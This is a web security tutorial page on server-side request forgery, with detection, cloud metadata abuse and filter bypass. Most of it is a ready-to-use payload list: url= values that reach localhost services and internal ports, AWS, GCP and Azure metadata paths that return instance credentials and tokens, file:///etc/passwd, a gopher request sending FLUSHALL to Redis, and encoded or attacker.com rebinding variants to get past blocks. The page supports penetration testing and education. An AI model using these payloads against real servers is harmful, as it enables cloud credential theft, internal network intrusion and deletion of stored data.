SSRF: Server-Side Request Forgery — Internal Network Discovery & Cloud Metadata

Server-Side Request Forgery (SSRF) is a critical web vulnerability that tricks a server into making HTTP requests on behalf of the attacker. SSRF attacks can expose internal services, cloud metadata APIs (AWS, GCP, Azure), and in many cases lead to full Remote Code Execution. This guide covers SSRF detection, exploitation techniques, and cloud metadata endpoint abuse.

How SSRF Works

SSRF exploits functionality where the application fetches a user-supplied URL. The server makes the request from its own network context, bypassing firewalls and accessing internal services unreachable from the internet. SSRF is in the OWASP Top 10 (A10:2021).

Basic SSRF Detection & Exploitation

# Find SSRF entry points
# Look for parameters: url=, imageUrl=, path=, dest=, redirect=, fetch=, link=

# Test with Burp Collaborator or interactsh
url=https://your-burp-collaborator.com
url=http://169.254.169.254/

# Access internal services
url=http://localhost/admin
url=http://127.0.0.1:8080/
url=http://192.168.1.1/
url=http://10.0.0.1/

# Port scanning internal hosts
url=http://127.0.0.1:22
url=http://127.0.0.1:3306
url=http://127.0.0.1:6379  # Redis
url=http://127.0.0.1:9200  # Elasticsearch

AWS Cloud Metadata Exploitation via SSRF

The most high-impact SSRF targets are cloud metadata services. AWS IMDSv1 is accessible at 169.254.169.254 and returns temporary credentials for the EC2 instance role — a critical finding in any cloud pentest.

# AWS IMDSv1 — no authentication required
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# This returns temporary AWS credentials:
# AccessKeyId, SecretAccessKey, Token

# GCP metadata endpoint
url=http://metadata.google.internal/computeMetadata/v1/
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Azure metadata endpoint
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true

SSRF Filter Bypass Techniques

# Localhost bypass
url=http://0.0.0.0/
url=http://0177.0.0.1/  # Octal
url=http://2130706433/   # Decimal
url=http://[::1]/        # IPv6
url=http://localhost.attacker.com/  # DNS rebinding

# URL scheme bypass
url=file:///etc/passwd
url=dict://127.0.0.1:6379/
url=gopher://127.0.0.1:6379/_FLUSHALL
url=ldap://127.0.0.1:389/

# AWS metadata bypass (block filter bypass)
url=http://169.254.169.254.attacker.com/  # DNS-based
url=http://[::ffff:169.254.169.254]/  # IPv6
url=http://169.254.169.254%23.attacker.com/  # Fragment

References

See OWASP SSRF (A10:2021) and MITRE ATT&CK T1090.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top